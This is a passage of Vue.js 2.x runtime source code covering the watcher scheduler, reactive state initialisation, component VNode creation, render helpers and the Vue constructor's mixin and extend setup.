function queueWatcher (watcher) {
var id = watcher.id;
if (has[id] == null) {
has[id] = true;
if (!flushing) {
queue.push(watcher);
} else {
// if already flushing, splice the watcher based on its id
// if already past its id, it will be run next immediately.
var i = queue.length - 1;
while (i > index && queue[i].id > watcher.id) {
i--;
}
queue.splice(i + 1, 0, watcher);
}
// queue the flush
if (!waiting) {
waiting = true;
nextTick(flushSchedulerQueue);
}
}
}
/* */
var uid$2 = 0;
/**
* A watcher parses an expression, collects dependencies,
* and fires callback when the expression value changes.
* This is used for both the $watch() api and directives.
*/
var Watcher = function Watcher (
vm,
expOrFn,
cb,
options
) {
this.vm = vm;
vm._watchers.push(this);
// options
if (options) {
this.deep = !!options.deep;
this.user = !!options.user;
this.lazy = !!options.lazy;
this.sync = !!options.sync;
} else {
this.deep = this.user = this.lazy = this.sync = false;
}
this.cb = cb;
this.id = ++uid$2; // uid for batching
this.active = true;
this.dirty = this.lazy; // for lazy watchers
this.deps = [];
this.newDeps = [];
this.depIds = new _Set();
this.newDepIds = new _Set();
this.expression = process.env.NODE_ENV !== 'production'
? expOrFn.toString()
: '';
// parse expression for getter
if (typeof expOrFn === 'function') {
this.getter = expOrFn;
} else {
this.getter = parsePath(expOrFn);
if (!this.getter) {
this.getter = function () {};
process.env.NODE_ENV !== 'production' && warn(
"Failed watching path: \"" + expOrFn + "\" " +
'Watcher only accepts simple dot-delimited paths. ' +
'For full control, use a function instead.',
vm
);
}
}
this.value = this.lazy
? undefined
: this.get();
};
/**
* Evaluate the getter, and re-collect dependencies.
*/
Watcher.prototype.get = function get () {
pushTarget(this);
var value;
var vm = this.vm;
if (this.user) {
try {
value = this.getter.call(vm, vm);
} catch (e) {
handleError(e, vm, ("getter for watcher \"" + (this.expression) + "\""));
}
} else {
value = this.getter.call(vm, vm);
}
// "touch" every property so they are all tracked as
// dependencies for deep watching
if (this.deep) {
traverse(value);
}
popTarget();
this.cleanupDeps();
return value
};
/**
* Add a dependency to this directive.
*/
Watcher.prototype.addDep = function addDep (dep) {
var id = dep.id;
if (!this.newDepIds.has(id)) {
this.newDepIds.add(id);
this.newDeps.push(dep);
if (!this.depIds.has(id)) {
dep.addSub(this);
}
}
};
/**
* Clean up for dependency collection.
*/
Watcher.prototype.cleanupDeps = function cleanupDeps () {
var this$1 = this;
var i = this.deps.length;
while (i--) {
var dep = this$1.deps[i];
if (!this$1.newDepIds.has(dep.id)) {
dep.removeSub(this$1);
}
}
var tmp = this.depIds;
this.depIds = this.newDepIds;
this.newDepIds = tmp;
this.newDepIds.clear();
tmp = this.deps;
this.deps = this.newDeps;
this.newDeps = tmp;
this.newDeps.length = 0;
};
/**
* Subscriber interface.
* Will be called when a dependency changes.
*/
Watcher.prototype.update = function update () {
/* istanbul ignore else */
if (this.lazy) {
this.dirty = true;
} else if (this.sync) {
this.run();
} else {
queueWatcher(this);
}
};
/**
* Scheduler job interface.
* Will be called by the scheduler.
*/
Watcher.prototype.run = function run () {
if (this.active) {
var value = this.get();
if (
value !== this.value ||
// Deep watchers and watchers on Object/Arrays should fire even
// when the value is the same, because the value may
// have mutated.
isObject(value) ||
this.deep
) {
// set new value
var oldValue = this.value;
this.value = value;
if (this.user) {
try {
this.cb.call(this.vm, value, oldValue);
} catch (e) {
handleError(e, this.vm, ("callback for watcher \"" + (this.expression) + "\""));
}
} else {
this.cb.call(this.vm, value, oldValue);
}
}
}
};
/**
* Evaluate the value of the watcher.
* This only gets called for lazy watchers.
*/
Watcher.prototype.evaluate = function evaluate () {
this.value = this.get();
this.dirty = false;
};
/**
* Depend on all deps collected by this watcher.
*/
Watcher.prototype.depend = function depend () {
var this$1 = this;
var i = this.deps.length;
while (i--) {
this$1.deps[i].depend();
}
};
/**
* Remove self from all dependencies' subscriber list.
*/
Watcher.prototype.teardown = function teardown () {
var this$1 = this;
if (this.active) {
// remove self from vm's watcher list
// this is a somewhat expensive operation so we skip it
// if the vm is being destroyed.
if (!this.vm._isBeingDestroyed) {
remove(this.vm._watchers, this);
}
var i = this.deps.length;
while (i--) {
this$1.deps[i].removeSub(this$1);
}
this.active = false;
}
};
/**
* Recursively traverse an object to evoke all converted
* getters, so that every nested property inside the object
* is collected as a "deep" dependency.
*/
var seenObjects = new _Set();
function traverse (val) {
seenObjects.clear();
_traverse(val, seenObjects);
}
function _traverse (val, seen) {
var i, keys;
var isA = Array.isArray(val);
if ((!isA && !isObject(val)) || !Object.isExtensible(val)) {
return
}
if (val.__ob__) {
var depId = val.__ob__.dep.id;
if (seen.has(depId)) {
return
}
seen.add(depId);
}
if (isA) {
i = val.length;
while (i--) { _traverse(val[i], seen); }
} else {
keys = Object.keys(val);
i = keys.length;
while (i--) { _traverse(val[keys[i]], seen); }
}
}
/* */
var sharedPropertyDefinition = {
enumerable: true,
configurable: true,
get: noop,
set: noop
};
function proxy (target, sourceKey, key) {
sharedPropertyDefinition.get = function proxyGetter () {
return this[sourceKey][key]
};
sharedPropertyDefinition.set = function proxySetter (val) {
this[sourceKey][key] = val;
};
Object.defineProperty(target, key, sharedPropertyDefinition);
}
function initState (vm) {
vm._watchers = [];
var opts = vm.$options;
if (opts.props) { initProps(vm, opts.props); }
if (opts.methods) { initMethods(vm, opts.methods); }
if (opts.data) {
initData(vm);
} else {
observe(vm._data = {}, true /* asRootData */);
}
if (opts.computed) { initComputed(vm, opts.computed); }
if (opts.watch) { initWatch(vm, opts.watch); }
}
var isReservedProp = {
key: 1,
ref: 1,
slot: 1
};
function initProps (vm, propsOptions) {
var propsData = vm.$options.propsData || {};
var props = vm._props = {};
// cache prop keys so that future props updates can iterate using Array
// instead of dynamic object key enumeration.
var keys = vm.$options._propKeys = [];
var isRoot = !vm.$parent;
// root instance props should be converted
observerState.shouldConvert = isRoot;
var loop = function ( key ) {
keys.push(key);
var value = validateProp(key, propsOptions, propsData, vm);
/* istanbul ignore else */
if (process.env.NODE_ENV !== 'production') {
if (isReservedProp[key] || config.isReservedAttr(key)) {
warn(
("\"" + key + "\" is a reserved attribute and cannot be used as component prop."),
vm
);
}
defineReactive$$1(props, key, value, function () {
if (vm.$parent && !observerState.isSettingProps) {
warn(
"Avoid mutating a prop directly since the value will be " +
"overwritten whenever the parent component re-renders. " +
"Instead, use a data or computed property based on the prop's " +
"value. Prop being mutated: \"" + key + "\"",
vm
);
}
});
} else {
defineReactive$$1(props, key, value);
}
// static props are already proxied on the component's prototype
// during Vue.extend(). We only need to proxy props defined at
// instantiation here.
if (!(key in vm)) {
proxy(vm, "_props", key);
}
};
for (var key in propsOptions) loop( key );
observerState.shouldConvert = true;
}
function initData (vm) {
var data = vm.$options.data;
data = vm._data = typeof data === 'function'
? getData(data, vm)
: data || {};
if (!isPlainObject(data)) {
data = {};
process.env.NODE_ENV !== 'production' && warn(
'data functions should return an object:\n' +
'https://vuejs.org/v2/guide/components.html#data-Must-Be-a-Function',
vm
);
}
// proxy data on instance
var keys = Object.keys(data);
var props = vm.$options.props;
var i = keys.length;
while (i--) {
if (props && hasOwn(props, keys[i])) {
process.env.NODE_ENV !== 'production' && warn(
"The data property \"" + (keys[i]) + "\" is already declared as a prop. " +
"Use prop default value instead.",
vm
);
} else if (!isReserved(keys[i])) {
proxy(vm, "_data", keys[i]);
}
}
// observe data
observe(data, true /* asRootData */);
}
function getData (data, vm) {
try {
return data.call(vm)
} catch (e) {
handleError(e, vm, "data()");
return {}
}
}
var computedWatcherOptions = { lazy: true };
function initComputed (vm, computed) {
var watchers = vm._computedWatchers = Object.create(null);
for (var key in computed) {
var userDef = computed[key];
var getter = typeof userDef === 'function' ? userDef : userDef.get;
if (process.env.NODE_ENV !== 'production') {
if (getter === undefined) {
warn(
("No getter function has been defined for computed property \"" + key + "\"."),
vm
);
getter = noop;
}
}
// create internal watcher for the computed property.
watchers[key] = new Watcher(vm, getter, noop, computedWatcherOptions);
// component-defined computed properties are already defined on the
// component prototype. We only need to define computed properties defined
// at instantiation here.
if (!(key in vm)) {
defineComputed(vm, key, userDef);
} else if (process.env.NODE_ENV !== 'production') {
if (key in vm.$data) {
warn(("The computed property \"" + key + "\" is already defined in data."), vm);
} else if (vm.$options.props && key in vm.$options.props) {
warn(("The computed property \"" + key + "\" is already defined as a prop."), vm);
}
}
}
}
function defineComputed (target, key, userDef) {
if (typeof userDef === 'function') {
sharedPropertyDefinition.get = createComputedGetter(key);
sharedPropertyDefinition.set = noop;
} else {
sharedPropertyDefinition.get = userDef.get
? userDef.cache !== false
? createComputedGetter(key)
: userDef.get
: noop;
sharedPropertyDefinition.set = userDef.set
? userDef.set
: noop;
}
Object.defineProperty(target, key, sharedPropertyDefinition);
}
function createComputedGetter (key) {
return function computedGetter () {
var watcher = this._computedWatchers && this._computedWatchers[key];
if (watcher) {
if (watcher.dirty) {
watcher.evaluate();
}
if (Dep.target) {
watcher.depend();
}
return watcher.value
}
}
}
function initMethods (vm, methods) {
var props = vm.$options.props;
for (var key in methods) {
vm[key] = methods[key] == null ? noop : bind(methods[key], vm);
if (process.env.NODE_ENV !== 'production') {
if (methods[key] == null) {
warn(
"method \"" + key + "\" has an undefined value in the component definition. " +
"Did you reference the function correctly?",
vm
);
}
if (props && hasOwn(props, key)) {
warn(
("method \"" + key + "\" has already been defined as a prop."),
vm
);
}
}
}
}
function initWatch (vm, watch) {
for (var key in watch) {
var handler = watch[key];
if (Array.isArray(handler)) {
for (var i = 0; i < handler.length; i++) {
createWatcher(vm, key, handler[i]);
}
} else {
createWatcher(vm, key, handler);
}
}
}
function createWatcher (vm, key, handler) {
var options;
if (isPlainObject(handler)) {
options = handler;
handler = handler.handler;
}
if (typeof handler === 'string') {
handler = vm[handler];
}
vm.$watch(key, handler, options);
}
function stateMixin (Vue) {
// flow somehow has problems with directly declared definition object
// when using Object.defineProperty, so we have to procedurally build up
// the object here.
var dataDef = {};
dataDef.get = function () { return this._data };
var propsDef = {};
propsDef.get = function () { return this._props };
if (process.env.NODE_ENV !== 'production') {
dataDef.set = function (newData) {
warn(
'Avoid replacing instance root $data. ' +
'Use nested data properties instead.',
this
);
};
propsDef.set = function () {
warn("$props is readonly.", this);
};
}
Object.defineProperty(Vue.prototype, '$data', dataDef);
Object.defineProperty(Vue.prototype, '$props', propsDef);
Vue.prototype.$set = set;
Vue.prototype.$delete = del;
Vue.prototype.$watch = function (
expOrFn,
cb,
options
) {
var vm = this;
options = options || {};
options.user = true;
var watcher = new Watcher(vm, expOrFn, cb, options);
if (options.immediate) {
cb.call(vm, watcher.value);
}
return function unwatchFn () {
watcher.teardown();
}
};
}
/* */
function initProvide (vm) {
var provide = vm.$options.provide;
if (provide) {
vm._provided = typeof provide === 'function'
? provide.call(vm)
: provide;
}
}
function initInjections (vm) {
var result = resolveInject(vm.$options.inject, vm);
if (result) {
Object.keys(result).forEach(function (key) {
/* istanbul ignore else */
if (process.env.NODE_ENV !== 'production') {
defineReactive$$1(vm, key, result[key], function () {
warn(
"Avoid mutating an injected value directly since the changes will be " +
"overwritten whenever the provided component re-renders. " +
"injection being mutated: \"" + key + "\"",
vm
);
});
} else {
defineReactive$$1(vm, key, result[key]);
}
});
}
}
function resolveInject (inject, vm) {
if (inject) {
// inject is :any because flow is not smart enough to figure out cached
// isArray here
var isArray = Array.isArray(inject);
var result = Object.create(null);
var keys = isArray
? inject
: hasSymbol
? Reflect.ownKeys(inject)
: Object.keys(inject);
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
var provideKey = isArray ? key : inject[key];
var source = vm;
while (source) {
if (source._provided && provideKey in source._provided) {
result[key] = source._provided[provideKey];
break
}
source = source.$parent;
}
}
return result
}
}
/* */
function createFunctionalComponent (
Ctor,
propsData,
data,
context,
children
) {
var props = {};
var propOptions = Ctor.options.props;
if (isDef(propOptions)) {
for (var key in propOptions) {
props[key] = validateProp(key, propOptions, propsData || {});
}
} else {
if (isDef(data.attrs)) { mergeProps(props, data.attrs); }
if (isDef(data.props)) { mergeProps(props, data.props); }
}
// ensure the createElement function in functional components
// gets a unique context - this is necessary for correct named slot check
var _context = Object.create(context);
var h = function (a, b, c, d) { return createElement(_context, a, b, c, d, true); };
var vnode = Ctor.options.render.call(null, h, {
data: data,
props: props,
children: children,
parent: context,
listeners: data.on || {},
injections: resolveInject(Ctor.options.inject, context),
slots: function () { return resolveSlots(children, context); }
});
if (vnode instanceof VNode) {
vnode.functionalContext = context;
vnode.functionalOptions = Ctor.options;
if (data.slot) {
(vnode.data || (vnode.data = {})).slot = data.slot;
}
}
return vnode
}
function mergeProps (to, from) {
for (var key in from) {
to[camelize(key)] = from[key];
}
}
/* */
// hooks to be invoked on component VNodes during patch
var componentVNodeHooks = {
init: function init (
vnode,
hydrating,
parentElm,
refElm
) {
if (!vnode.componentInstance || vnode.componentInstance._isDestroyed) {
var child = vnode.componentInstance = createComponentInstanceForVnode(
vnode,
activeInstance,
parentElm,
refElm
);
child.$mount(hydrating ? vnode.elm : undefined, hydrating);
} else if (vnode.data.keepAlive) {
// kept-alive components, treat as a patch
var mountedNode = vnode; // work around flow
componentVNodeHooks.prepatch(mountedNode, mountedNode);
}
},
prepatch: function prepatch (oldVnode, vnode) {
var options = vnode.componentOptions;
var child = vnode.componentInstance = oldVnode.componentInstance;
updateChildComponent(
child,
options.propsData, // updated props
options.listeners, // updated listeners
vnode, // new parent vnode
options.children // new children
);
},
insert: function insert (vnode) {
var context = vnode.context;
var componentInstance = vnode.componentInstance;
if (!componentInstance._isMounted) {
componentInstance._isMounted = true;
callHook(componentInstance, 'mounted');
}
if (vnode.data.keepAlive) {
if (context._isMounted) {
// vue-router#1212
// During updates, a kept-alive component's child components may
// change, so directly walking the tree here may call activated hooks
// on incorrect children. Instead we push them into a queue which will
// be processed after the whole patch process ended.
queueActivatedComponent(componentInstance);
} else {
activateChildComponent(componentInstance, true /* direct */);
}
}
},
destroy: function destroy (vnode) {
var componentInstance = vnode.componentInstance;
if (!componentInstance._isDestroyed) {
if (!vnode.data.keepAlive) {
componentInstance.$destroy();
} else {
deactivateChildComponent(componentInstance, true /* direct */);
}
}
}
};
var hooksToMerge = Object.keys(componentVNodeHooks);
function createComponent (
Ctor,
data,
context,
children,
tag
) {
if (isUndef(Ctor)) {
return
}
var baseCtor = context.$options._base;
// plain options object: turn it into a constructor
if (isObject(Ctor)) {
Ctor = baseCtor.extend(Ctor);
}
// if at this stage it's not a constructor or an async component factory,
// reject.
if (typeof Ctor !== 'function') {
if (process.env.NODE_ENV !== 'production') {
warn(("Invalid Component definition: " + (String(Ctor))), context);
}
return
}
// async component
if (isUndef(Ctor.cid)) {
Ctor = resolveAsyncComponent(Ctor, baseCtor, context);
if (Ctor === undefined) {
// return nothing if this is indeed an async component
// wait for the callback to trigger parent update.
return
}
}
// resolve constructor options in case global mixins are applied after
// component constructor creation
resolveConstructorOptions(Ctor);
data = data || {};
// transform component v-model data into props & events
if (isDef(data.model)) {
transformModel(Ctor.options, data);
}
// extract props
var propsData = extractPropsFromVNodeData(data, Ctor, tag);
// functional component
if (isTrue(Ctor.options.functional)) {
return createFunctionalComponent(Ctor, propsData, data, context, children)
}
// extract listeners, since these needs to be treated as
// child component listeners instead of DOM listeners
var listeners = data.on;
// replace with listeners with .native modifier
data.on = data.nativeOn;
if (isTrue(Ctor.options.abstract)) {
// abstract components do not keep anything
// other than props & listeners
data = {};
}
// merge component management hooks onto the placeholder node
mergeHooks(data);
// return a placeholder vnode
var name = Ctor.options.name || tag;
var vnode = new VNode(
("vue-component-" + (Ctor.cid) + (name ? ("-" + name) : '')),
data, undefined, undefined, undefined, context,
{ Ctor: Ctor, propsData: propsData, listeners: listeners, tag: tag, children: children }
);
return vnode
}
function createComponentInstanceForVnode (
vnode, // we know it's MountedComponentVNode but flow doesn't
parent, // activeInstance in lifecycle state
parentElm,
refElm
) {
var vnodeComponentOptions = vnode.componentOptions;
var options = {
_isComponent: true,
parent: parent,
propsData: vnodeComponentOptions.propsData,
_componentTag: vnodeComponentOptions.tag,
_parentVnode: vnode,
_parentListeners: vnodeComponentOptions.listeners,
_renderChildren: vnodeComponentOptions.children,
_parentElm: parentElm || null,
_refElm: refElm || null
};
// check inline-template render functions
var inlineTemplate = vnode.data.inlineTemplate;
if (isDef(inlineTemplate)) {
options.render = inlineTemplate.render;
options.staticRenderFns = inlineTemplate.staticRenderFns;
}
return new vnodeComponentOptions.Ctor(options)
}
function mergeHooks (data) {
if (!data.hook) {
data.hook = {};
}
for (var i = 0; i < hooksToMerge.length; i++) {
var key = hooksToMerge[i];
var fromParent = data.hook[key];
var ours = componentVNodeHooks[key];
data.hook[key] = fromParent ? mergeHook$1(ours, fromParent) : ours;
}
}
function mergeHook$1 (one, two) {
return function (a, b, c, d) {
one(a, b, c, d);
two(a, b, c, d);
}
}
// transform component v-model info (value and callback) into
// prop and event handler respectively.
function transformModel (options, data) {
var prop = (options.model && options.model.prop) || 'value';
var event = (options.model && options.model.event) || 'input';(data.props || (data.props = {}))[prop] = data.model.value;
var on = data.on || (data.on = {});
if (isDef(on[event])) {
on[event] = [data.model.callback].concat(on[event]);
} else {
on[event] = data.model.callback;
}
}
/* */
var SIMPLE_NORMALIZE = 1;
var ALWAYS_NORMALIZE = 2;
// wrapper function for providing a more flexible interface
// without getting yelled at by flow
function createElement (
context,
tag,
data,
children,
normalizationType,
alwaysNormalize
) {
if (Array.isArray(data) || isPrimitive(data)) {
normalizationType = children;
children = data;
data = undefined;
}
if (isTrue(alwaysNormalize)) {
normalizationType = ALWAYS_NORMALIZE;
}
return _createElement(context, tag, data, children, normalizationType)
}
function _createElement (
context,
tag,
data,
children,
normalizationType
) {
if (isDef(data) && isDef((data).__ob__)) {
process.env.NODE_ENV !== 'production' && warn(
"Avoid using observed data object as vnode data: " + (JSON.stringify(data)) + "\n" +
'Always create fresh vnode data objects in each render!',
context
);
return createEmptyVNode()
}
if (!tag) {
// in case of component :is set to falsy value
return createEmptyVNode()
}
// support single function children as default scoped slot
if (Array.isArray(children) &&
typeof children[0] === 'function'
) {
data = data || {};
data.scopedSlots = { default: children[0] };
children.length = 0;
}
if (normalizationType === ALWAYS_NORMALIZE) {
children = normalizeChildren(children);
} else if (normalizationType === SIMPLE_NORMALIZE) {
children = simpleNormalizeChildren(children);
}
var vnode, ns;
if (typeof tag === 'string') {
var Ctor;
ns = config.getTagNamespace(tag);
if (config.isReservedTag(tag)) {
// platform built-in elements
vnode = new VNode(
config.parsePlatformTagName(tag), data, children,
undefined, undefined, context
);
} else if (isDef(Ctor = resolveAsset(context.$options, 'components', tag))) {
// component
vnode = createComponent(Ctor, data, context, children, tag);
} else {
// unknown or unlisted namespaced elements
// check at runtime because it may get assigned a namespace when its
// parent normalizes children
vnode = new VNode(
tag, data, children,
undefined, undefined, context
);
}
} else {
// direct component options / constructor
vnode = createComponent(tag, data, context, children);
}
if (isDef(vnode)) {
if (ns) { applyNS(vnode, ns); }
return vnode
} else {
return createEmptyVNode()
}
}
function applyNS (vnode, ns) {
vnode.ns = ns;
if (vnode.tag === 'foreignObject') {
// use default namespace inside foreignObject
return
}
if (isDef(vnode.children)) {
for (var i = 0, l = vnode.children.length; i < l; i++) {
var child = vnode.children[i];
if (isDef(child.tag) && isUndef(child.ns)) {
applyNS(child, ns);
}
}
}
}
/* */
/**
* Runtime helper for rendering v-for lists.
*/
function renderList (
val,
render
) {
var ret, i, l, keys, key;
if (Array.isArray(val) || typeof val === 'string') {
ret = new Array(val.length);
for (i = 0, l = val.length; i < l; i++) {
ret[i] = render(val[i], i);
}
} else if (typeof val === 'number') {
ret = new Array(val);
for (i = 0; i < val; i++) {
ret[i] = render(i + 1, i);
}
} else if (isObject(val)) {
keys = Object.keys(val);
ret = new Array(keys.length);
for (i = 0, l = keys.length; i < l; i++) {
key = keys[i];
ret[i] = render(val[key], key, i);
}
}
if (isDef(ret)) {
(ret)._isVList = true;
}
return ret
}
/* */
/**
* Runtime helper for rendering <slot>
*/
function renderSlot (
name,
fallback,
props,
bindObject
) {
var scopedSlotFn = this.$scopedSlots[name];
if (scopedSlotFn) { // scoped slot
props = props || {};
if (bindObject) {
extend(props, bindObject);
}
return scopedSlotFn(props) || fallback
} else {
var slotNodes = this.$slots[name];
// warn duplicate slot usage
if (slotNodes && process.env.NODE_ENV !== 'production') {
slotNodes._rendered && warn(
"Duplicate presence of slot \"" + name + "\" found in the same render tree " +
"- this will likely cause render errors.",
this
);
slotNodes._rendered = true;
}
return slotNodes || fallback
}
}
/* */
/**
* Runtime helper for resolving filters
*/
function resolveFilter (id) {
return resolveAsset(this.$options, 'filters', id, true) || identity
}
/* */
/**
* Runtime helper for checking keyCodes from config.
*/
function checkKeyCodes (
eventKeyCode,
key,
builtInAlias
) {
var keyCodes = config.keyCodes[key] || builtInAlias;
if (Array.isArray(keyCodes)) {
return keyCodes.indexOf(eventKeyCode) === -1
} else {
return keyCodes !== eventKeyCode
}
}
/* */
/**
* Runtime helper for merging v-bind="object" into a VNode's data.
*/
function bindObjectProps (
data,
tag,
value,
asProp
) {
if (value) {
if (!isObject(value)) {
process.env.NODE_ENV !== 'production' && warn(
'v-bind without argument expects an Object or Array value',
this
);
} else {
if (Array.isArray(value)) {
value = toObject(value);
}
var hash;
for (var key in value) {
if (key === 'class' || key === 'style') {
hash = data;
} else {
var type = data.attrs && data.attrs.type;
hash = asProp || config.mustUseProp(tag, type, key)
? data.domProps || (data.domProps = {})
: data.attrs || (data.attrs = {});
}
if (!(key in hash)) {
hash[key] = value[key];
}
}
}
}
return data
}
/* */
/**
* Runtime helper for rendering static trees.
*/
function renderStatic (
index,
isInFor
) {
var tree = this._staticTrees[index];
// if has already-rendered static tree and not inside v-for,
// we can reuse the same tree by doing a shallow clone.
if (tree && !isInFor) {
return Array.isArray(tree)
? cloneVNodes(tree)
: cloneVNode(tree)
}
// otherwise, render a fresh tree.
tree = this._staticTrees[index] =
this.$options.staticRenderFns[index].call(this._renderProxy);
markStatic(tree, ("__static__" + index), false);
return tree
}
/**
* Runtime helper for v-once.
* Effectively it means marking the node as static with a unique key.
*/
function markOnce (
tree,
index,
key
) {
markStatic(tree, ("__once__" + index + (key ? ("_" + key) : "")), true);
return tree
}
function markStatic (
tree,
key,
isOnce
) {
if (Array.isArray(tree)) {
for (var i = 0; i < tree.length; i++) {
if (tree[i] && typeof tree[i] !== 'string') {
markStaticNode(tree[i], (key + "_" + i), isOnce);
}
}
} else {
markStaticNode(tree, key, isOnce);
}
}
function markStaticNode (node, key, isOnce) {
node.isStatic = true;
node.key = key;
node.isOnce = isOnce;
}
/* */
function initRender (vm) {
vm._vnode = null; // the root of the child tree
vm._staticTrees = null;
var parentVnode = vm.$vnode = vm.$options._parentVnode; // the placeholder node in parent tree
var renderContext = parentVnode && parentVnode.context;
vm.$slots = resolveSlots(vm.$options._renderChildren, renderContext);
vm.$scopedSlots = emptyObject;
// bind the createElement fn to this instance
// so that we get proper render context inside it.
// args order: tag, data, children, normalizationType, alwaysNormalize
// internal version is used by render functions compiled from templates
vm._c = function (a, b, c, d) { return createElement(vm, a, b, c, d, false); };
// normalization is always applied for the public version, used in
// user-written render functions.
vm.$createElement = function (a, b, c, d) { return createElement(vm, a, b, c, d, true); };
}
function renderMixin (Vue) {
Vue.prototype.$nextTick = function (fn) {
return nextTick(fn, this)
};
Vue.prototype._render = function () {
var vm = this;
var ref = vm.$options;
var render = ref.render;
var staticRenderFns = ref.staticRenderFns;
var _parentVnode = ref._parentVnode;
if (vm._isMounted) {
// clone slot nodes on re-renders
for (var key in vm.$slots) {
vm.$slots[key] = cloneVNodes(vm.$slots[key]);
}
}
vm.$scopedSlots = (_parentVnode && _parentVnode.data.scopedSlots) || emptyObject;
if (staticRenderFns && !vm._staticTrees) {
vm._staticTrees = [];
}
// set parent vnode. this allows render functions to have access
// to the data on the placeholder node.
vm.$vnode = _parentVnode;
// render self
var vnode;
try {
vnode = render.call(vm._renderProxy, vm.$createElement);
} catch (e) {
handleError(e, vm, "render function");
// return error render result,
// or previous vnode to prevent render error causing blank component
/* istanbul ignore else */
if (process.env.NODE_ENV !== 'production') {
vnode = vm.$options.renderError
? vm.$options.renderError.call(vm._renderProxy, vm.$createElement, e)
: vm._vnode;
} else {
vnode = vm._vnode;
}
}
// return empty vnode in case the render function errored out
if (!(vnode instanceof VNode)) {
if (process.env.NODE_ENV !== 'production' && Array.isArray(vnode)) {
warn(
'Multiple root nodes returned from render function. Render function ' +
'should return a single root node.',
vm
);
}
vnode = createEmptyVNode();
}
// set parent
vnode.parent = _parentVnode;
return vnode
};
// internal render helpers.
// these are exposed on the instance prototype to reduce generated render
// code size.
Vue.prototype._o = markOnce;
Vue.prototype._n = toNumber;
Vue.prototype._s = toString;
Vue.prototype._l = renderList;
Vue.prototype._t = renderSlot;
Vue.prototype._q = looseEqual;
Vue.prototype._i = looseIndexOf;
Vue.prototype._m = renderStatic;
Vue.prototype._f = resolveFilter;
Vue.prototype._k = checkKeyCodes;
Vue.prototype._b = bindObjectProps;
Vue.prototype._v = createTextVNode;
Vue.prototype._e = createEmptyVNode;
Vue.prototype._u = resolveScopedSlots;
}
/* */
var uid$1 = 0;
function initMixin (Vue) {
Vue.prototype._init = function (options) {
var vm = this;
// a uid
vm._uid = uid$1++;
var startTag, endTag;
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
startTag = "vue-perf-init:" + (vm._uid);
endTag = "vue-perf-end:" + (vm._uid);
mark(startTag);
}
// a flag to avoid this being observed
vm._isVue = true;
// merge options
if (options && options._isComponent) {
// optimize internal component instantiation
// since dynamic options merging is pretty slow, and none of the
// internal component options needs special treatment.
initInternalComponent(vm, options);
} else {
vm.$options = mergeOptions(
resolveConstructorOptions(vm.constructor),
options || {},
vm
);
}
/* istanbul ignore else */
if (process.env.NODE_ENV !== 'production') {
initProxy(vm);
} else {
vm._renderProxy = vm;
}
// expose real self
vm._self = vm;
initLifecycle(vm);
initEvents(vm);
initRender(vm);
callHook(vm, 'beforeCreate');
initInjections(vm); // resolve injections before data/props
initState(vm);
initProvide(vm); // resolve provide after data/props
callHook(vm, 'created');
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
vm._name = formatComponentName(vm, false);
mark(endTag);
measure(((vm._name) + " init"), startTag, endTag);
}
if (vm.$options.el) {
vm.$mount(vm.$options.el);
}
};
}
function initInternalComponent (vm, options) {
var opts = vm.$options = Object.create(vm.constructor.options);
// doing this because it's faster than dynamic enumeration.
opts.parent = options.parent;
opts.propsData = options.propsData;
opts._parentVnode = options._parentVnode;
opts._parentListeners = options._parentListeners;
opts._renderChildren = options._renderChildren;
opts._componentTag = options._componentTag;
opts._parentElm = options._parentElm;
opts._refElm = options._refElm;
if (options.render) {
opts.render = options.render;
opts.staticRenderFns = options.staticRenderFns;
}
}
function resolveConstructorOptions (Ctor) {
var options = Ctor.options;
if (Ctor.super) {
var superOptions = resolveConstructorOptions(Ctor.super);
var cachedSuperOptions = Ctor.superOptions;
if (superOptions !== cachedSuperOptions) {
// super option changed,
// need to resolve new options.
Ctor.superOptions = superOptions;
// check if there are any late-modified/attached options (#4976)
var modifiedOptions = resolveModifiedOptions(Ctor);
// update base extend options
if (modifiedOptions) {
extend(Ctor.extendOptions, modifiedOptions);
}
options = Ctor.options = mergeOptions(superOptions, Ctor.extendOptions);
if (options.name) {
options.components[options.name] = Ctor;
}
}
}
return options
}
function resolveModifiedOptions (Ctor) {
var modified;
var latest = Ctor.options;
var extended = Ctor.extendOptions;
var sealed = Ctor.sealedOptions;
for (var key in latest) {
if (latest[key] !== sealed[key]) {
if (!modified) { modified = {}; }
modified[key] = dedupe(latest[key], extended[key], sealed[key]);
}
}
return modified
}
function dedupe (latest, extended, sealed) {
// compare latest and sealed to ensure lifecycle hooks won't be duplicated
// between merges
if (Array.isArray(latest)) {
var res = [];
sealed = Array.isArray(sealed) ? sealed : [sealed];
extended = Array.isArray(extended) ? extended : [extended];
for (var i = 0; i < latest.length; i++) {
// push original options and not sealed options to exclude duplicated options
if (extended.indexOf(latest[i]) >= 0 || sealed.indexOf(latest[i]) < 0) {
res.push(latest[i]);
}
}
return res
} else {
return latest
}
}
function Vue$3 (options) {
if (process.env.NODE_ENV !== 'production' &&
!(this instanceof Vue$3)
) {
warn('Vue is a constructor and should be called with the `new` keyword');
}
this._init(options);
}
initMixin(Vue$3);
stateMixin(Vue$3);
eventsMixin(Vue$3);
lifecycleMixin(Vue$3);
renderMixin(Vue$3);
/* */
function initUse (Vue) {
Vue.use = function (plugin) {
/* istanbul ignore if */
if (plugin.installed) {
return this
}
// additional parameters
var args = toArray(arguments, 1);
args.unshift(this);
if (typeof plugin.install === 'function') {
plugin.install.apply(plugin, args);
} else if (typeof plugin === 'function') {
plugin.apply(null, args);
}
plugin.installed = true;
return this
};
}
/* */
function initMixin$1 (Vue) {
Vue.mixin = function (mixin) {
this.options = mergeOptions(this.options, mixin);
return this
};
}
/* */
function initExtend (Vue) {
/**
* Each instance constructor, including Vue, has a unique
* cid. This enables us to create wrapped "child
* constructors" for prototypal inheritance and cache them.
*/
Vue.cid = 0;
var cid = 1;
/**
* Class inheritance
*/
Vue.extend = function (extendOptions) {
extendOptions = extendOptions || {};
var Super = this;
var SuperId = Super.cid;
var cachedCtors = extendOptions._Ctor || (extendOptions._Ctor = {});
if (cachedCtors[SuperId]) {
return cachedCtors[SuperId]
}
var name = extendOptions.name || Super.options.name;
if (process.env.NODE_ENV !== 'production') {
if (!/^[a-zA-Z][\w-]*$/.test(name)) {
warn(
'Invalid component name: "' + name + '". Component names ' +
'can only contain alphanumeric characters and the hyphen, ' +
'and must start with a letter.'
);
}
}
var Sub = function VueComponent (options) {
this._init(options);
};
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
